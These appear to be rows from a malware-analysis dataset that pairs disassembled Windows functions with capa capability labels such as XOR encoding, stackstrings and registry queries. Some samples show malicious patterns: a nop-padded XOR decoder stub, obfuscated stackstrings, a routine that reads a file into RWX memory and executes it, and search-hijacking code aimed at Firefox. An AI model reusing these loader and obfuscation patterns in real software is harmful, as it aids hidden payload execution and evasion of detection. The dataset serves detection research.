joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x432004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x61637561
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..text_1
mov ebx, 0x42f314
nop
mov ecx, 0x2122752a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40443c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
scasd eax, dword es:[edi]
lea esi, [edi + edi*8 - 1]
dec dword [ecx + 0x5d880c4d]
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040414d
inc esp
lea edx, [esi + ebx + 0x50c0458d]
call fcn.0040415d
push eax
push esi
push dword [ebp + 8]
call fcn.00404112
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.0040414d
adc al, 0x7f
push cs
pop es
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040415d
push eax
push esi
push dword [ebp + 8]
call fcn.00404112
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040415d
push eax
push esi
push dword [ebp + 8]
call fcn.00404112
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040415d
push eax
push esi
push dword [ebp + 8]
call fcn.00404112
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040414d
popfd
lds edi, [esp + ebp*4 - 0x78]
popfd
jl 0x4045d2
invalid
invalid
Function at 0x405569
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x4055a3
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x40554d
call fcn.0040414d
add dword [edi], 0xffffffda
cmp byte [eax - 0x72b5b], al
inc dword [eax]
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.0040414d
out 0x4c, al
invalid
jl 0x4055c8
invalid

Function at 0x4060d8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add al, ch
outsd dx, dword [esi]
loopne 0x4060dc
invalid
push dword [edx]
sbb edx, dword [eax + 0x60b5ff49]
cld
invalid

Function at 0x4063d5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x800
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406374
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x406445
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and word [esi + 0x7fe], 0
test edi, edi
pop edi
jne 0x406445
cmp dword [ebp + 0xc], 1
je 0x406449
cmp dword [ebp + 0xc], 2
je 0x406449
and word [esi], 0
pop esi
leave
ret 0x14
Function at 0x100127f5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10012834
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10012834
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10012834
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10012834
cmp dword [ecx + 0x74], 0xe
jbe 0x10012834
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1001554c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100155e9
push ebx
push esi
call fcn.10015515
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100154a9
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10015596
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100155e8
push edi
push eax
call fcn.10016507
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100155b6
call fcn.10014071
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100155e7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100154a9
add esp, 0x20
test eax, eax
jne 0x100155d5
push edi
call fcn.10014071
jmp 0x100155dd
push ebx
call fcn.10014071
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10015856
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001e348
push 0x1001e340
push str.FlsAlloc
push 0x1f
call fcn.10015772
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001588a
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c150]
call esi
jmp 0x10015890
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100158d4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001e358
push 0x1001e350
push str.FlsGetValue
push 0x21
call fcn.10015772
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001590b
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10015913
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001e360
push 0x1001e358
push str.FlsSetValue
push 0x22
call fcn.10015772
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001594d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001c150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1001ae80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001aead
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001aead
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x67321340
Capabilities:
Query or enumerate registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
add eax, eax
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x10]
push esi
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x18]
push eax
push 0
mov dword [edi], 0
mov eax, dword [ecx]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x673213b6
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x67321385
cmp eax, 2
jne 0x673213a1
test esi, esi
mov eax, dword [esp + 0x14]
je 0x673213b0
test eax, eax
je 0x673213ab
test al, 1
jne 0x673213a1
mov ecx, eax
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x673213b0
pop edi
mov eax, 0xd
pop esi
ret 0xc
mov word [esi], 0
shr eax, 1
mov dword [edi], eax
xor eax, eax
pop edi
pop esi
ret 0xc
Function at 0x673230a0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x6740b179
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x67460ecc]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x67460ecc]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov eax, dword [esp + 0x50]
mov ebp, dword [esp + 0x54]
mov esi, ecx
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x1c], ecx
lea edi, [esi + 0x20]
push eax
mov ecx, edi
mov dword [esp + 0x1c], 0
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t______thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::operator_wchar_t_const__]
cmp byte [esp + 0x5c], 0
jne 0x67323152
mov edx, dword [esi]
mov edx, dword [edx + 0x34]
lea eax, [esp + 0x18]
push eax
mov ecx, esi
call edx
mov ecx, dword [esp + 0x18]
test ecx, ecx
mov byte [esp + 0x17], al
jbe 0x6732314a
push ecx
push str._MyStartMgmt___RewritePrefsFile___d_instances_of_Firefox_have_been_closed.
push 0
push str.Dec_25_2011
push 0x281
push 0xffffffffffffffff
call fcn.6734bae0
mov edx, str..SearchAssetBase.cpp
mov ecx, 3
mov ebx, eax
call fcn.6734ca70
mov al, byte [esp + 0x2f]
add esp, 0x18
test al, al
je 0x67323205
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x20]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x20]
push eax
push ecx
mov dword [esp + 0x50], 0
call fcn.673513f0
mov ecx, dword [esp + 0x2c]
add esp, 8
cmp dword [esp + 0x38], 0x10
jae 0x6732318c
lea ecx, [esp + 0x24]
push 1
push 0
push ebp
call fcn.67351550
push str.true
push edi
mov byte [esp + 0x2b], al
call dword [sym.imp.MSVCP80.dll_bool___cdecl_std::operator_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___const___wchar_t_const__]
add esp, 0x14
test al, al
jne 0x673231ef
cmp byte [esp + 0x5c], al
jne 0x673231ef
cmp dword [esp + 0x18], 0
jbe 0x673231ef
push str._MyStartMgmt___RewritePrefsFile__Restarting_Firefox_after_update
push 0
push str.Dec_25_2011
push 0x2a1
push 0xffffffffffffffff
call fcn.6734bae0
mov edx, str..SearchAssetBase.cpp
mov ecx, 3
mov ebx, eax
call fcn.6734ca70
mov edx, dword [esi]
mov eax, dword [edx + 0x30]
add esp, 0x14
mov ecx, esi
call eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x48], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [esp + 0x17]
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.673f06fa
add esp, 0x38
ret 0x10
Function at 0x673242a0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x6740b07b
mov eax, dword fs:[0]
push eax
sub esp, 0x868
mov eax, dword [0x67460ecc]
xor eax, esp
mov dword [esp + 0x864], eax
push ebx
push esi
push edi
mov eax, dword [0x67460ecc]
xor eax, esp
push eax
lea eax, [esp + 0x878]
mov dword fs:[0], eax
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x10]
push eax
push 1
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE
mov dword [esp + 0x890], esi
push reloc.ImNtUtilU.dll_Ordinal_2
mov dword [esp + 0x24], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, esi
jne 0x67324403
mov edi, dword [esp + 0x10]
push 0x81e
lea ecx, [esp + 0x5a]
push esi
push ecx
mov dword [esp + 0x20], edi
mov word [esp + 0x60], si
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x58]
push eax
push esi
lea ecx, [esp + 0x20]
mov dword [esp + 0x1c], 0x820
call fcn.67321340
cmp eax, esi
jne 0x673243a4
push 0x38
lea ecx, [esp + 0x20]
push esi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0x18]
lea edx, [esp + 0x54]
push eax
mov dword [esp + 0x1c], 0x3c
mov dword [esp + 0x20], 0x440
mov dword [esp + 0x2c], edx
mov dword [esp + 0x38], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x673243d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MyStartMgmt_______RewritePrefsFile__Failed_to_execute_Internet_Explorer_after_update._Error_0x_X
push 1
push str.Dec_25_2011
push 0x46f
jmp 0x673243b6
push eax
push str._MyStartMgmt_______RewritePrefsFile__Failed_to_read_Internet_Explorer_application_path_from_registry._Error_0x_X
push 1
push str.Dec_25_2011
push 0x474
push 0xffffffffffffffff
call fcn.6734bae0
mov edx, str..SearchAssetBase.cpp
mov ecx, 1
mov ebx, eax
call fcn.6734ca70
add esp, 0x18
cmp edi, esi
je 0x673243dc
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x878]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x864]
xor ecx, esp
call fcn.673f06fa
add esp, 0x874
ret
push eax
push str._MyStartMgmt_______RewritePrefsFile__Firefox__App_Paths__registry_key_could_not_be_read._Error_0x_X
push 1
push str.Dec_25_2011
push 0x479
push 0xffffffffffffffff
call fcn.6734bae0
mov edx, str..SearchAssetBase.cpp
mov ecx, 1
mov ebx, eax
call fcn.6734ca70
add esp, 0x18
jmp 0x673243dc
Function at 0x67324ae0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x67408409
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x67460ecc]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push 0
lea ecx, [esp + 0x14]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
mov dword [esp + 0x28], 0
mov eax, dword [0x67464d84]
mov ecx, dword [sym.imp.MSVCP80.dll_class_std::locale::id_std::ctype_wchar_t_::id]
mov dword [esp + 0xc], eax
call dword [sym.imp.MSVCP80.dll_public:_unsigned_int___thiscall_std::locale::id::operator_unsigned_int_void_]
mov ecx, dword [esp + 0x30]
push eax
call dword [sym.imp.MSVCP80.dll_public:_class_std::locale::facet_const____thiscall_std::locale::_Getfacet_unsigned_int_const]
mov esi, eax
test esi, esi
jne 0x67324b94
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x67324b94
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.MSVCP80.dll_public:_static_unsigned_int___cdecl_std::ctype_wchar_t_::_Getcat_class_std::locale::facet_const___]
add esp, 4
cmp eax, 0xffffffff
jne 0x67324b78
push str.bad_cast
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCR80.dll_public:_void___thiscall_std::bad_cast::constructor_char_const__]
push 0x6744d180
lea edx, [esp + 0x18]
push edx
call sub.MSVCR80.dll__CxxThrowException
mov ecx, dword [esp + 0xc]
mov esi, ecx
mov dword [0x67464d84], ecx
mov edi, ecx
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::locale::facet::_Incref_void_]
mov ecx, edi
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::locale::facet::_Register_void_]
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x20
ret
Function at 0x673262c0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
push edi
mov edi, eax
call fcn.6734f030
test al, al
je 0x6732638a
push esi
push str._searchplugins_
mov ecx, edi
call dword [0x67411cb8]
mov ebx, 8
cmp dword [edi + 0x18], ebx
lea esi, [edi + 4]
jb 0x673262f0
mov eax, dword [esi]
jmp 0x673262f2
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x67326350
cmp dword [edi + 0x18], ebx
jb 0x67326307
mov eax, dword [esi]
jmp 0x67326309
mov eax, esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x67326350
cmp dword [edi + 0x18], ebx
jb 0x6732631d
mov esi, dword [esi]
push esi
push str._MyStartMgmt______GetFireFoxSearchPluginsFolder_____Failed_creating_the_Search_Plugins_directory___s_.
push 1
push str.Dec_25_2011
push 0xb9
push 0xffffffffffffffff
call fcn.6734bae0
mov edx, str..FfSearchbox.cpp
mov ecx, 1
mov ebx, eax
call fcn.6734ca70
add esp, 0x18
pop esi
pop edi
xor al, al
pop ebx
ret
cmp dword [edi + 0x18], ebx
jb 0x67326357
mov esi, dword [esi]
push esi
push str._MyStartMgmt__GetFireFoxSearchPluginsFolder_____Retrieved_Search_Plugins_folder___s_.
push 0
push str.Dec_25_2011
push 0xbe
push 0xffffffffffffffff
call fcn.6734bae0
mov edx, str..FfSearchbox.cpp
mov ecx, 3
mov ebx, eax
call fcn.6734ca70
add esp, 0x18
pop esi
pop edi
mov al, 1
pop ebx
ret
push str._MyStartMgmt______GetFireFoxSearchPluginsFolder_____Failed_retrieving_FireFox_default_profile_path.
push 1
push str.Dec_25_2011
push 0xc4
push 0xffffffffffffffff
call fcn.6734bae0
mov edx, str..FfSearchbox.cpp
mov ecx, 1
mov ebx, eax
call fcn.6734ca70
add esp, 0x14
pop edi
xor al, al
pop ebx
ret
Function at 0x6732746c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov dword [ebp - 0x2c], edx
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jne 0x6732748b
mov dword [ebp - 0x14], 0
jmp 0x67327525
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x78]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, dword [ecx + 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
cmp eax, dword [ecx + 0x18]
jae 0x6732751e
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0xc]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
call fcn.673273fc
test al, 1
jne 0x673274e1
jmp 0x67327511
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, dword [ecx + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, dword [ecx + 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0xc]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x14], eax
jmp 0x67327525
jmp 0x67327513
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x673274b6
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add esp, 0x28
pop esi
pop ebp
ret